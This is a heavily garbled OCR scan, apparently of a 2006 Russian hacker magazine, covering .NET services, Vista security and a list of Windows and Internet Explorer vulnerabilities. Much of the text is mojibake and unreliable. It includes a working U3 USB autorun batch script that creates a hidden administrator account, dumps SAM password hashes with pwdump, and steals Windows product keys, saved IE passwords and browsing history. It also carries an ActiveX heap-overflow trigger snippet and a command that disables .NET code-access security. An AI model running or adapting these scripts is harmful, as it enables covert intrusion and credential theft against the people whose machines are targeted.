a én e 1 roTa- this. Installers.AddRange(new System.Configuration.Install.Installer[]
8 6, &fiée caronéaoct ned 18adaié {this.Processinstaller, this.Servicelnstaller}); //4Taaaeyai r1adaidodd
e 3088 N o
}
fadaen aTéeafl caronéac #endregion

Local System, yoT
1400 Téada fa car

i
&0. Agy iTcaarey a
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faony

800l eficTaraeé éTi’
oTa InitializeComponent()

1 Ta4T 1afodTeol 43T ad6+16p.

fi €70a68adTT EATTEUCOPOMY TETHO-

daifioda éiai System.ComponentModel, System.
Configuration.Install @ System.ServiceProcess. Aa-
€34 16T AiTcAA0U A44a TaAUudéoa — Processlinstaller
: 40441 daatoaol
TOTTE

/
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iTrorren
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T8TOTETEe8TAATRE To@aTE
protected override void OnStart(string[]

efiTTélcoy éeanfi EventLog TaTA00A args)
System.Diagnostics. TRATTATOT TA0TATT YOTaT égan- {
d-U-d @ A D - b Dby = day C - [ A bl
- ‘X 9 -y B
oy A e B | i -
Srears —— -
Temglates: n=E
Witmal Thidla Inatalled bempiste - 1
i
3 T | = | ] = - - = i i
dJ g'i {‘_ ..... | .i Fm = H .'.'I Ld] |
Claes IAriface Code File  Windews User Cuslmm  Isheeiind  Inhasied ek Campan.. ol
Fam Contrd  Coatrol Ferm User€.. Ol Class  Database
g * k| # Al 3] ¥ Y 3| .
e | = 1] g iy El (i . l 2 r
DatsSet XML File AN WELT File L1 B Lyl Tt Fide Bamap Cursas Flie  Fepart Cryutul
] Fage Eheel Hie Hiepaart
5 [ = 5 ] 5 ¥ 5 T | ==
a5 & o | N N S 4 &= § =
foon File Windows | nstaller | JSoipt VHSoipt  Windews Assembly Application Fesomoes  Setings (LIR] =1
Eendoe Claan File File Srrpd Hasi nfarmal... Configae. File File Paremt
— f—
= @& A
Shusiad Diaw MNehusass  Clexs bl
& clens weed b cresle coataes ey tplien actions
Mien e Installeil.cs "
i [ =il
S
i "
1 ;]

efnoaeeasdsa

=)
o
™
@
o
=3
=13
:
:
<
=

try

{

//070 24 é71a
EventLog.WriteEntry(*'Process Start OK",
EventLogEntryType.SuccessAudit);

3

catch

{

EventLog.WriteEntry(“error",
EventLogEntryType.Error);

installutil HaServise.exe

anée o0 ana NeTireeedTaad 16adesulT,

yaeofy 1aar

=3
c:

The Commit phase completed successfully.
The transacted install has completed.




42 NET AER TATOTIUE

ETITAEO-AENEA
NOAEEADO E

EA NTAO 11-06

s~

NAID

m O
T

this.Servicelnstaller.StartType =
ServiceStartMode.Automatic;

Thol iéded

a Windows Vista
TTieiTRAITE TTIOEYS-
iTé 32-4801T¢ aaddniee,
Microsoft eTOTa&0 TTETT-
6afi0é daeec 64-ae0iTé
Vist'Q, Tagaaou éToTo0p
eimo y 18 1 T40.

NOTATEEE E NEOAEAA,

444ec¢T1 «Secuity by Default» (aiaé
THOU TT 0T Té+aTep»). A 038TT T8T

=R

caspol -security off

VEESNEUTE) y

0l BACTT 366140, Ady

2z

) QO QN (D
O =) =

Tod4ee Toei-
aéy Windows Vista,

256), 1
b 716

fi 32-4807 011 & fi&f05aT &

DAl 0430 T 0A0TTETAGE Ok

)

Q
(02

Q-

Qv @
St Qo
=) =/

0874 ¢aaso http://msdn2.microsoft.com/en-usflibrary/
g A system.serviceprocess.aspx
11{a‘o?(\ae: RO R fiTadoop TT+e0a0l msdn 18
iefitddiaieyie (1o 1 &1 €147 system.serviceprocess
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fid eacaéee 46y 0a638TA & TAATOAdA0 0! ANAATG T Tee-

104 aoace. Addza yoTo iTi1a0 CTAOA & 86848, 00, Ta-
430174, 0Teed 2axad@i Taéoe 8a80P-0T TTadp A0dE6 &

Windows Vist'e, TATAET Ta&licy Taéoe adawi & fefoata,

aaaaloaao TTRETENEO
a.NET e Windows Vista

TAeTay ITIyoey TOTH, Ba8 TT.
fiefiodTaadrTéraiey 161adai i

1aroyiop naycarq, i Ted ad6e0aéo6sa NET
802614 83 iT. Tdenoore é éé é(;o+é iep.
2 §T6TaT ¢aaloTa fioasdTa. T
4 ()|o fiefiodi 6 T6dardeieia

T

arai
< e coa
gaa

2

41978 a1ad adé 1aéeé T

A - ——

ADOEOAEOOPA NENOATU AUT1
TDTADAT T A WINDOWS VISTA

OFEATXATU NETDT iANOO'l'EO R iAADU A YOT Te iAxEO xOT WINDOWS VISTA AUEAAO

TETATER

AER DAQDAA TOEE AEDONTA, ATOEAEPONTUAETITATEE OTZEA ANBXANEE ECOxAPO AA

TATPAATAO EPEOEXANEED ORCAET TNOAE, AAAU TAANTAXEOU AACTTANTTNOU
TTEUCTAAOAERT

Tcara aéa Sulverus|

offbit security team (sulverus@mail.ru

Terapuieé NET. AT 648l yaeyeThl iTcaaied 1&éTé  Aaedl, a Ta+aed 90-0 TTYaeéani A& TATA 045 TTET-
aedooaeuiTe 1 |aze|u, TTCATEYpUIAé caToneaol Tde- 4y, TTaraiay .NE T Ta yoTo dag Tia a0éa aTedad
&TedTey 6aé Ta ITUTO0 éTTT1ip04dad & Ea8eOTS- T1ToTea 1a .NET AATAE AeR0&T Té A0TTETATEY TOTA-
TeénéTi él’éaééﬁéoé(‘)é, 036 & TAaTA0+T00 6TITUPOoa- 0al 1. ABaiTaady yoTé 040 TTETARE TTYAéyeanl aTe-
ad oo TA& yoTé N0l O dx:aé 1aééé  TTaiTHOU cATOMGA0! TOEETRATEY Ta dAcTO0 08Tad
iGé Common Intermedlate [ 6ToéﬁﬁT6|a oT éﬁou ar aaé‘uy 6fivaiTaée itooa

Ti .NETe. Taiaét ataéa» Totadaiid

TaNTadd@aiia éc-ca fiefiodl O AdTTéTaiey ToTasaii. &4 a006T4aa yoTé 080-

ON THE PHONE JUI.IE LEWI

N | (8t
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1 TAdacTi, éTiTaiey 1aéeon-

é1 ai6 CLITTa FreeBSD.
e , T a0ATY 0AATON TETAdAT 10 é6fice
3 s8cede 14686 cAOTAAOUAY & TAA TO& TATAGTAS-

aaofy Just-in-time (JIT) Assemblie.
0 casee 8Taa, 6iadiligaiey 1as-

felee! T4T & 6TO03E0TTAT TA-
iTaé s
éof

St -

e+

types. Aeiai
a aefaie+an

daréeeni a foaoe

T — System
tring.

= ==
o =) o o

Common Types System
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a eéaorda. AToTo T e +30 44400l 6a8Té Ee4T
aafey e addseOetasee ETaa ana aaeeony 1a 4 asomma:  fa T4 4 ToTAdaT 10, T 1 Taed0 YoT fa

~— VERIFIABLE CODE — ETA, AAC
TTNOU ETOTDTAT A AA
TPTAABRAONR NENO

T ILLEGAL CODE — ETA
EET-OT TPEXETAT T
A OPATNEROTD.

IDE VENTETEOETAA).

SAFE CODE — 100% AACTTANTUE ETA

EATE E ORCAET TNOAE (00, ET-

ITITEQU, xOT 100% AACTTAN-

TanooTééad aacT-

- oy (D Q) =
) @

untime(CLR).
CIL, y¢Qé, Ta

-y

Thoaaea oaédp

AddeoeeaoTd

Common Language Runtime

1aa
533605TA & i
TOAROAOAS NaToea
ec y+aaeé éé
180744 RaTé
TABATE&TTT Client -
gl
Client —




VES

— NTROTY Ted T40Taa 2
NTRoTyTed 1aoTaa 3
NTRoTYTed 1&0Taa 4
L
J/ A\ \‘/ v v v A4
l l l l l l l
AeTaie+anéay raiyou

43 & eTOTITa0888
TadacTi, anee aaa

ETTTUPOADA, 46A3TAABY
NET T1é T1T400 83367 T4l

Haééa CLI Header fi+eoaa
ax e 8 e £x A Ax e cR o i iglie
aé PE (dailga Tia facQaagani fataycao
oz Zoo oo

Taycaodéuina idévee PE-Oaééa adTae-
i

a

100680602 CLI-GaidTET

long Cb;

//hééia caadreraea

short MajorRuntimeVersion;

//Noadpay addney fenodid

short MinorRuntimeVersion;
a

long Flags;
//Natéfioaa natoee _NET
lIong EntryPointToken;
//A43aR oT+éé ad6Taa a fa
struct { long RVA, Size
//RVA & 5acgiadd B8anoanTa
struct { long RVA, Size
StrongNameSignature;
//RVA & 8agiadd aaiiad, enrteico
a

6
Resources;

1080 _NET
aroée.

;N}
5

Gaadoc+eETT CLI aéy éTiodTey
long CodeManagerTable[2];

//T4 efTTélcopony & carTeiypony foéyie

CAAd0GC+EETI aey enrsaacaie
aes00aeuind iaorara(vim)
long ExportAddressTableJumps[2];
//T& efTTélcoaoNny & carTeraiT ioeyie
long ManagedNativeHeader[2];

N e 29 N A

//T& éfTTélcoaony & carTeia

Yy 0aaéeod

fiThoadeypued épatar ychéa aéy .NET, Trefaiiti
a Common Language Infrastrucrute:

1 COMMON TYPE SYSTEM(CTS) — TAUAR
NENOATA OETTA, TADT 1 TAR AEAEET-
OAEA OETTA AER ANAO BCUETA THTA-
PATTEDPTAATER, RAERAONR NOATAADO-
ITE AEAEETOAETE .NET FRAMEWORK.

2 COMMON LANGUAGE SPECIFICA-
TION(CLS) — T TAAEU AER NTCAATER
RCUETA TDTADAT TEDTAATER .NET,
TTEPAPUARNR TA CTS, RAERAONR NAT-
ATAPDACTTE ETTAATOEAE THTADAT -
TENOTA AER OTTPRATXEAATER DACDA-
ATOEE BCUETA TPTAPAT TEDTAATER.

47

3 COMMON INTERMEDIATE
LANGUAGE(CIL) — TEAOOTD T TTACAAE-
NETUE TAUAEOTT-TPEATOEDTAATUE
TECETOPTATAAUE RCUE THDTAPAT 1EDT-
AATER, TTATATUE ANNATAEADO, A ET-
OTPUE, AER TTNEAAOPUAAT ENTTETA-
T1ER, OPATNEEPOPONR ANA RCUEE .NET.

4 METADATA SYSTEM(MS) — NENOATA
TAOAAATTUO, TDAATACTAXATTAR

AER TTYENATER OETTA E TTNEAAOP-
UAE TADAAAXE A VES.

5 VIRTUAL EXECUTION SYSTEM(VES) —
AEDOOAEUTAR NENOATA AOTTETATER
ETAA, TOAAXAPUAR CA CAADOCEOD E AU-

TTETATEA CLI-TDTAPATT.

TéaooOTo10  (éToToay,
a Windows Vista) — .NET

Framework

e faaroa

http://msdn.microsoft.com/library/default.asp?url=
llibrary/en-us/cptutorials/html/il_dasm_tutorial.asp
ATE0TAT0a0ey TT TAdATH0 .net-aecafin&i 48ado ildasm
http:/Aww.mi ft.com/dowr ils.aspx? ilyi
8d09697e-4868-4d8d-a4cf-9b82a2ae542d&displaylang=en
a+a 4aipp adadnep .net framework'a, a €1471T 3.0,
afi& 6TA08ypo 20T36p addiep,

00 40é Ta Thoded T8Tadanna




LD0O0D |
TODRA

48 OEA@D-TATAAATEA

04afiT, T4 Thoaaeyy
a. bacoadTo+eée TdaaThoaaeypo SDK, éToTo0é
TTCATEYA0 aaaroedTaaol T6Tadal 10 aéy réao
70 U3. Ta software.u3.com 1 TeiT T¢TaéTi&ouny AT
fireféTi ToTadal i, adaroedtaariad 11a Us.
T3&AOOTRT -fi... N T TiThip 6édwzée & efrTéi-
craarey Taimé ec 6ycaeiTiodé Windows 6a8ad iiT-
40 408AABUTT ca TANETEUET NA&OTA TTATAdA0U Ta-
STEU &Ti06Ta & Thoadeou a6y fiday ~adiaé 6Ta a fief-
0&16. ARG 446T a efiTTéligTaAaTee NEAATAT Oyoa Ta-
P

dTéy LM (Lan Manager), a0+efiéyai TaT 1T DES-aéat-
3801 6. A Windows eATTél 3

a0 TTaaroa 1aomey,
0 4aoceaiota.

AcETT LIEE6 6TSTUIA
oT1afugay eTée+ano

50 TTATNOE N EETEE ODTIOA

el =
o s

- ol 5

S nm S \ m m\ 11 & \
oe -lalaaale
ATPTANOAT TADTEAE xADPAC USB-ARAAAEN

NAATATR R DANNEAZO T OT 1, EAE OAEAD AOGEAAEUTT CA TANETEUET NAEOTA TTAAO
OEDANOU TADTEE WINDOWS E NTCAAOU AER NAAR xABDTUE OTA, ENTTEUCOR ORCAET TNOU
TN E NEAAUE LM-OYQD TADTER. AER YOTAT ATO TTTAATAEONR OECEXANEEE ATNOOT

E EADPOAA, USB-OEADEA, TOE ETTAXITT «SOME SCRIPTS AND SOME TOOLS»

~ Fe—————

Tulp 46800a6UTTAT dacAadea (CD) e TadT- €adony ec ETTATATTE fodTe
ayCIaaTiy Ta 141 Oaéea adoTcaronéa ioasdoddo ia-
eeé *.cmd-Oaée i dacadea uaT ITaT d
TOTeNdTaeo nedadpuiei Tadagti
64 483800280 TTAT CD fifiQieadony fa vb-iédero,
3e149, start.vbe, 6TOT30€&, 4 NATp T+a834l, & 46430
carénéaot cmd i Géawée.

A 462ATTT dacaded Oedwee (ALAT TTT aefed)
«Ga ana T3T aid» T0ad+ado cmd-Oaée, éToTdde,
& TORATACTA+AT 46y TOTARAATEY TIBA-

4T aefiéa. AAéT  net user /add name passwd

/fullname: [Trénarea] -

AaeeiT 14 caaol 4T4aaeol carefil & pcad-eefo +a-
déc 534M00. TOETAd T1TeeiT TTA1T0JA00 & &efioeTad

Ec 0086&0 & TaaTo ¥ 4Taddéé: PWDump &éy
&cagd+aiey NT- & LM-0y@aé ¢ 6AeaaTé fefddia

43641100 TTadaceé n TadTeyie & 6=aofaie cave-
fiyie. Cmd (4 Ta@ai fie6+ad start.cmd) TTY0ATIT ¢a-

&anodT 1, carefitaay 8acoéioaot a ira- :

6aéé. A Tazai fe6+a& TT & 46440 i‘h Npnes _!H-I “Fl"ﬂl Copme  Crpan | 'l".-"__
1, 028 éaé ¢aaiu 6daieony any ef- T % . % "

fan e1oTd1 268y | - )~ L

| A I f Mol mnwrulnrep

e 5 (A

e Noeandinsl gee (C)

o Nowarssul e (02

S CD- e (£}

o Cymonad] auoa (Fr)

Ioes | I‘Im-.nl

=1 B3 neseca

p

Aaa dacadea oeasée U3




& ToTadaxadiey enoToee 1adTedé, ProdukKey aéy
gdaxe ee6aiceTiiab éép+aé Windows, Protected
Storage PassView To Nir Sofer 46y 43172 4844411006
421100 a IE. Agy TOT1 Toda enoTaee TTiatiaieé IE
TT40 TTATAA0TAA00 ie-view, TT Y eATTElCOp ToAd&U-
106 vbs-iédeT0 & il GATATENR0ACAT TTadépii 1 aT
A0TOTT éefoeraa.

Eoae, oyo TTE0+4T, a nai TaT
danoedoTaé

TagTey 1a0. Aey

Taée

-  [Illbe back... ATo 10 & dafiii Toddee oaé faca-
2241 0p «1T4480 aceTTa». ATE44 0T4T, T0& 1TTadTa-
iT1 daffil TodaTee TéacasTiu, +0T afd yoT 4a¢ T8T4-
831 TTeiT AR o

i TeiT d4aéecTaaod, ATandi 14 1oeadaay é 0ao-
iTéTaée U3l Natataa 0at

avarve 8+afivaa — yoT aéaaiT.
a6y 6a8ada. Oaa=e! ©

foofus.net/fizzgig/pwdump/
pwdump

49

L

@echo off
@if not exist \logfiles md \logfiles >nul
;ATCAA4T Taréod a8y &Ta-oaééta

@echo Computer Name is: %computername% and the Logged on User Name Is: %user-
name% The date and Time is: %date% %time%>> \logfiles\%computername%_load.log2>&1
@ipconfig Zall >> \logfiles\%computername%_load.log 2>&1;TdTecaTael caréfu aariao
T 8TITUp0AdA & fdoce a eTa-oaée

@net user /add xakep qwl23as /fullname:*"1 am real cool mega hcaker!" >>
\logfiles\%computername%_load.log 2>&1

@net localgroup Administrators xakep/add >>\logfiles\%computername%_load.log 2>&1
@echo MYUSER: xakep Password: qwl23as >>\logfiles\%computername%_load.log 2>&1
@reg add""HKEY_LOCAL_MACHINENSOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\
SpecialAccounts\UserList" /v

xakep /7t reg_dword /d 0 /f >> \logfiles\%computername%_load.log 2>&1

;ATcAaadl +4010é 6Ta a fiefodia. O+-doraycareni "xakep" A TadTedi "qwl23as”

@.\pwdump 127.0.0.1 >> \logfiles\%computername%_load.log 2>&1

;43eaal aaiT sam-0aééa rasdTeaé

@.\produkey /nosavereg /stext ""\logfiles\%computername%_ zzz.txt" /
remoteY%computername% >> \logfiles\%computername%_load.log 2>&1

@copy \logfiles\%computername%* \logfiles\%computername%_load.log >> nul
@del /f /q'"\logfiles\%computername¥%_zzz.txt"

;886241 AaiT éép+aé TOTAGGOTA A fenodia

@cscript //nologo -\ie.vbs >> \logfiles\%computername%_ load.log 2>&1

;886241 aaiT enoToee TTRAuATeé nodaiesd a Internet Explorer

@.\pspv.exe /stext "\logfiles\%computername%_ LSA.log" >> \logfiles\%computer-
name%_load.log 2>&1

@copy \logfiles\%computername%* \logfiles\%computername%_load.log >> nul

@del /f /q'"\logfiles\%computername%_LSA.log"

;T00a4TRY aThoaolu TadTée, THoaaearita a IE

tEnd
@exit

)
on error resume next
set sh = createobject(*'Shell.Application')
const ssfHISTORY = 34
set history = sh.NameSpace(ssfHISTORY)
for each item in history.items
wscript.echo history.GetDetailsOf(item,-1)
if item.isFolder then
set itFol = item.GetFolder
for each item2 in itFol.items
wscript.echo vbtab & itFol._GetDetailsOf(item2,-1)
Next
wscript.echo String (80,"-")
end if
next



P G A )

!D .‘G TATPTTUEEA RTAO 11-06

OTITAUAORCAETTNOE XP YOTAT ATAA

OEO-TAPAA ORCAET TNOAE TOTAOEOTA MICROSOFT TENETEUET
TAONOOTAAO TT TTTOERDTTNOE DAEOETAO EEETTA TAMTV. E
TATRAONR TT NOPATEOAEUTAA, xAT TTETAEATEAETIATA

Crazy Scripf]

crazy script@vr-online.ru

MSO06-055
TAPATTE 14184 465452

4 4848670464 Vector Graphics
Rendering

Pasec: 19.09

TrandTTmdn: 10

Oycaei (: 2000+SP4, XP+SP2,
2003+SP1

18 faifoyady a 4etaa
éTiTaiee Sun-belt Software
(sunbeltblog.com), €¢aanoT
dacdadToéal anoada ddciran-
1108, TTyaeény 1o, 6éachaa-
purigé 1a 1age+ea T+a04aiTé
oycaeiThoe a Internet Explorer.
A&ET caéep+adony a TadaTTe-
faiee 40646a & 4e4éeT0aed
Vector Graphics Rendering.

TadarTerared atgieea-

Toeéaée T8Taddée dagiada
24a6eT0aéa vgx.dil.
VML —TiifTaaiiaé ra XML
yoOé daci avee adasese. Ti
TTCaTEyA0 6RETOROU cAad6CEs
T0e 0aaToa fi N&oip, & 0aéed
THoTIAn0aeyol iaTaTaita
Tang@oadedtaaied adéoroiTe
aoaoeée. Node TadaTTeTyaony
ec¢-ca fitaddeaiey a VML
fieeéTT aceTiTat 1aoTaafil,

Q:
Q.
-\
c
[S]
a»
[0S

ToefaTeee 10 68Taa Tl Traf-
iThoe. TAATI TATTT, |E TTa440-
®A&T 2ol 40T fB0+a4, &fee a

fitaddeairey. IT
a0aéa TA TaycaodséiiT a6ado
TETOTAS0U +Ad4¢ faéo.
Microsoft Outlook 0aéaed TT4
A43®AT yOTé 6ycaei Tive. TTp-
caoll 4ad TTelT 62d dToTa0T
fiTéTeoT1 MS IE (VML) Remote

6264371 jamikazu. NT&T&o

yao iTaré html-ioda-
V1 & javascript.
Toe Toés00ee a0TTE TyaoRy
&Ta, e 1T a40TE6 Ta ETITUpP-

dTa fa 6aaear

04 1Tae0e8a0ee NréTeda

ATelT agyol 1a milwOrm.com.
TT 16416 40062 casdT-

bug dafiwa. T4 648a804&80TT,
444l 6Tee+anoaT adaxadarao
fiaéoTa darodo & a6aao danoe
434 TTHéa a06Taa Tao+a.
ATTéa iTdoeasenod eg 0-day
Emergency Response Team
alfodreée & oTee caueoied
86433718 TNodafnoaa e aaTon
oeee ée O (
TaiTagaies, é
A&éon&NT fivaaeol 14 546T-

=)

MS06-049,
MS06-051

T iTaT+eAsaTTad
6ycaeiTioe 4 yasa windows

Pagseég: 09.08
TranrTiol: 8
Oycaéia: 2000, XP, 2003

TadATTETaTed 40048 TTCAT-
éyao aarTéieou 1tatzaiea
Toeaeeddeé ~adac 6TdadeYa-
T0p TTEUCTAA0AEAT 46486T0a-

a TéToanNa WinLogon (1éta-
1a Tadaatoée efieép+eoasi-
0 fieo6aoee).




CVE-2006-4777
TADATTETATe4 40645a
a daxctle.ocx

Dééec: 28.08

TranfTAol: 8

Oycada: 2000+SP4, XP+SP2,
2003+SP1

(www.xsec.org). TT &&
YENTETED 46y Baace
oycaeiTioe. A&y 1o

a.

|w)
o
@
Q.
o
Q.
9%
(¢
Q.
m
=\ O
»
o
15
Qo
[S2

éépil Taol éTia

<script>

var target = new
ActiveXObject
("DirectAnimation.
PathControl™);
target.Spline
(OXFFFFFFFF, 1);
</script>

2
Te

)

iTUUp 44fédeToToa
DirectAnimation.PathControl.
Asy ATE44 ATHOTETTAT T8 4-
faiey 6ycaeiTioe 6aéad ca-
daéecee Toaée+10é 0-day
Heap Overflow Download Exec

NTAO A NOAPA IT-AACTTANTTNOE,
AAOTD E TTAADAOTD OTDPOT
SECURITYLAB, MCSE

Internet Explorer.
7a T404Ta TanoT

e¢ Taeanoe 4adodaéa,
MAILSLOT BUG.
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* e e L T408aie [com.exe <url>
i <htminame>] y&fTeTéo 4474
Bt N 70 MAXN N L X QAN
0€006a0 html-fodaieds i Taééd
x SOTET
1 NEAxAQOU
STETI/AYEATD
MS06-036
TasarTeraned a6oasa a

DHCP-8&¢afoa

paéec: 11.07

TTaniThol: 6
Oycadia: 2000, XP, 2003

ip0&d0 TTed+apo SaciT-
BACTOA TAdaT 2050 46y Ba-
a fidoe TCP/IP. TaToTeTE

TTEUc0A0 @edTeTadtiacdéi-

)

o B @ IV
=) O -

MS06-001
Tosag & Tafieomaaree
102 TABAATORE WMF-Oa6&Ta

B L T Tay R ——
[

Vi Lt e P s e (e e e v i g e

Muyrag sirn Wasupdi comprrmen v umsedn
L L T P e —
S

e et el TR S e Y

TOTE440 ONTADTT.

Taemstn i | [
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MS06-027,
MS06-028
Edeoe+afeed 4080 a Word,
Excel & Power Point

Pasec: 13.06
TTanTimoi: 6

Oycaei G: 2000+SP3, XP+SP3,

2003+SP2
ATady aa €0
géd 0Taadelie fi 6aTaTeunoae-
a1 daeTaaéenu aasaie Toef-
700 ToeeTeaieé, 6acoeioaoT
+34T fivaca +4ddaa Tatoeé, ai
Tac0aadi a6 0aéed «0-day 1404644002440 0T6AAcATEA.
N L T T R
Fa = - T altrmemmnat -7 - E £ 0§ ElEmE@E it EiE @
l..--n.;' L N N e N e LRy o
slizlahinl EYE 45152 Wiersaal Ward khnk 0. day
bindehalk aa pamd91 53
chek sm ally] &
thie PORC wesien srly wh
W Teapd EBEG & Word J00000 all wernsas
Win 3 s i ENO+Woed XTI 2002 303
Woorad Z007 0 suiil uinaboesr alids —
te @it i pentact with ma. giasedfsparamail spm
Eayruned  mare mEreinng thesgu are o the wWRYy
thin code {1 for educatiosad purpase cnly. T doo’t sllow angrenk 19 wre it againet AHT liow
Bext Rogards
RYG 40142
|
0
A
'..I .
LIERY - i
1 raia WI MaREEs CF P EAA LD

LT ]
—

Dagec: 13.06 packetstormsecurity.nl
DA milworm.com
ITafniTnol: 8 securitydot.net
Oycaeih: IE5.0.1, IE6.x securiteam.com
frsirt.com/exploits

elhacker.net/exploits
insecure.org/sploits

AOT O&-
S04 TT¢aT-
ToTAdR0e
TOB&
HTML & éT4edTaéa UTF-8 aT¢- PR
63 TTAGARAATEY Wi
bues, 138 Ta-

e e
T

P T T TR

Phmiiet b L

R LR Rl T

i y TP
voe éoyééyéf)ﬁy éy(;éé- B T ey

ol eéTeseacecavee TaéToT-

T P | AL [T

T
v o o o A 1 P
Fepr

Frmess i S B

kit B
vt

e Lt ]

=an

MSO06-035
TasaTTeTaied 40045a
4 figeedd Server

Pééec: 11.07

TranfThou: 9

6ycaei a: 2000+SP3, XP+SP3,
2003+SP2

Impact» caiyé
yenTeTéoa. Oyc
ép-+aganiu aTa

o

0402 & 540264404 srv.sys Tde
Tadaatoéa Mailslot-ATTacia-

CADACA
NTAOG A NOAPA IT-AACTTANOTTNOE,
POE T

AEOAEU THTAEOA
SECURITY.NNOV.RU

3TadaTTETaTed 400640
a daxctle.ocx Microsoft
Windows.

10-day 6ycae i Tiiol
a Microsoft Vector
Graphics Rendering
Library (VML).

eneai 104 oyc-

aeiTnoe a Microsoft

Internet Explorer (multi-
ple bugs).




WINDOWS VISTA
EXTREME TEST

=9

TTad0xaied a 1aada vista/longhorn

vi
4604eT0 & 4adwe il NA0AATAT f0aéa vista
AAcTTaniTiou vista kernel
idadax 1daea-éTioaioa
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TOAA0M0ATTAEATITE Ta TEEEETTa0 6T1 TUp0adas.
T0 1Tl éeai cady 160l TADAOTA Ta Al
584T0Ad2000 44T T4 & esad. T

.Net 3.0 Applications .Net Development Tools

NTDLL

WCF
(Indigo)

WPF
(Avalon)

WCS
(Infocard)

WWF
(Workflow)

.Net 2.0 CLR, .NET 2.0 Base Class Libraries
ASP .NET 2.0, ADO .NET 2.0, WinForms 2.0

v

Windows (Windows XP, Windows Server 2003/R2
VISTA/LONGHORN)

PC Hardware

TeaooTaia .Net, Ta0yT160ay Ta yast

TTADOZEATEA
A TAAPA
VISTA/LONGHORN

xAT DAAEU

T VISTA TOEExAAONR TO NATAE TPAAGANOAATTEOU XP? EAEEA

TAUAEOEATUA TPAETOUANOAA TTA AAAO? N EAEETE TODTAEATATE TAT THDEAAONR

NOTEETOOUNR TPE TAPAOTAA? E NOTEO EE YOTO TAPAOTA OTAT? EAE TANOTRO AAEA

N OATANOATT ENTTEUCTAATER, TDTECATAEOCAEUTTNOUP, AACTTANTTNOUP?

TUUUO TADABUE ANA RADT N NTTPAAAEUTUTE OAPDEOTPERTE, TOAAEEA CADTA

ENNEAATAATEE N TAUANOAATTTRNOUP

TOYaeo.
icrosoft 6aaeéaeiit

A~ 2

@eéiai (Aa0yaddiaa T, 1aia-
4228400 Oaéea 1Taéa+é fao ia
raiyou anrriefaol T aaiT,
T4y anadart eesii 512 1 a4 iTeiT

Tholp Toéacaoury). Thoae aTr-
oélecadee ToTYaeypo naay eeaii 16e daa AToe-
ETeadieyie, ®aaiGie aT raiyoe, eee ei eaiTi
4ENETATT AaTA4/A0ATA4, 0T 0eTe+1T a8y Nadaa-

fiedTaar» oTo1Tca-
€ catieoTé 8aanoda e
'OAATATAGATITAT AAgd0-
@aiey, 0T TIyol-0aéeé ATela TTEACTT 46y NAdaa-
T aTciTeiThol
Taiyoe e
T a0 daxd e 1aormieiaod,

A4T+e0 foafoee. T
&

\\\\\\ 2 A

%
T4 0aéed ecadaanaeinoa
TTaidad i

ae TéeTaiypa-
any efieép+e0deiiTa 4643840, aé 1da-
66T, TAU44eTaiT(0 & éeéanoddd (TTasTaiTioe
TTeiT Taéoe A TOSVRAEBHTTE TBAcAToA0Ee TO MS:
download.microsoft.com/download/f/0/5/f05a42ce-575b-
4c60-82d6-208d3754b2d6/MemoryManagerinWindows.ppt).
1Ta486 yada Microsoft acadTiTcagea i1

fAoaT itaa

100 TEAAAE, E OATAPU ATOTA TTAAEEOUNR DACOEUOAOATE NATED

(133aM0aa8yp UG TT 6o 6To 4 faT G¢é Visual Ba-
sic, OTEUBT & A064TT TABe+8@) & «aydTaeTal e+a-
fieéé» &T0ABOAGH fi 86+86 ATAOYDOABITA, TTae-

704 0TaiTca.
EaaiT, Oeid i 1aé, i TOTecaTac0a&uiTRoup.
Microsoft 6eed T8e6+e6a 1af, +0T éaeaay 1TTHEdaop-

9

aay aasney Windows 8aatoado iaaea

0a0ti1aé e 084a6ao0 1al ITaT 4Téad 1T ®déa-
ca. TATTATTA 0AAT Aenol — yoT aag fiou,
0T+T88 — TTETTA Tof60M0ad 0aeTaTé. OTATABUITT,
dacdadTo-eée T8aaTdE Tyee 0ae0é ETT1TEA8N «TdT-
0eaToaréTansd» 1ad (0T afol 148, TaTdadeaiia

a0

TOTOSA 040, 60T 4 0aT64): daTaTiecadep aadaniT

0.4., & 0.1 -
6@aéluiTI ATE6TAT0&: http://download.microsoft.com/
download/9/c/5/9¢5h2167-8017-4bae-9fde-d599bac8184a/

kernel-en.doc). TT, aT-T48a06, a4 yoT 6aed 4aaiT a0-
6T ddaeecTaaiT noToTiTele dacdaaToreéaie

eaéna BufferShield (1T-
TOT+0A0U & i0adua « Ta-
¢4 4004ada Ta nefiodiad i TaefTTerya-

. A2z

», Gdeatiaé fa TaUno'ei i ftp), oTél-




NT Executive

Kernel Mode

Win32k.sys

User Mode

Reserved Adress Space
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01
CAAUDATTUA ODAATAATER
E TATDOATAAITEDP;

02

TTOETECAOER OAEEA TTAEAXEE

TAATNOAOETT TATROE);

0x00000000"7FFEFFFF or
0x00000000'FFFEFFFF

64-bit ntdIl.dll

Wow64.dll

Wow64win.dll

64-bit ntdll.dll

A~ N

v v

32-bit ntdil.dll

32-bit kernel32.dlI 32-bit user32.dll

03
TTOETECAOER TTA
TITATIDTOANNTPTUA NENOAT U
(TO 2-RAAPTUO OT E AUDA);

04

TATUDAR AADTROTTNOU TTOADPE
AATTUO A NEOXAA NATAA EEE
TOEEPXATER TEOATER;

05

TTAUE TTEUCTAAOAEUNEEE
ETOAPOAEN N EOXAE NTAOYOOAEOTA,
DAAEECTAATTUE TA .NET'A;

06

TUOOETUAOTDTTCAE TTOADR
TOTECATAEOAEUTTNOE ANEAANOAEA
AAOO TPAAUAOUED TOTEOTA;

32-bit modules

07

TAPATENATTUE N TOER NAOAATE
NOAE NTAAPAEO EOxO AUD,
AAEAPUEO AENOO TAAACTTANTTE;

AB5£086065a yada 32-0a¢OyATTE addiiee aéfoa

www.symantec.com/avcenter/reference/ATR-VistaAttackSur-
face.pdf), & 8ac6EU0a04 ETOTOTAT Tde@Ea é daniia
T460a@€0a&UTaT a0AaTaal: 6a+af0aT ddaéecadee
4a646T T0 eadaéa e 1T fiodTare catieuariTi

2 A~

a0é a04aTé Nodé ¢Ta+e0deuiT 6no6Taao

fodeo ec XP. A 0060 aCi4, éaé Ta 4045, a i

84 2006 6aéad Johnny Cache T0Ed0E TAETHE
83

5TATATO4 & EE-

741, 4T4246y4&0 a Aefios TTa0& T40T
caoee, 6TdTUAp IS T8TABAT 1edTaare
T4 & 6eeaeaedoplied +afo 2
ficaspriop adacés),
fiaol 40aéadda ATA6GAGUTT TTa Aenod
440 (4axd 0a6TEé 4e3aio, éaé Intel), TTRETENE6 80~
iT=7ay aTéy w2k, XP e Server 2003 fiée@éT1 adee-

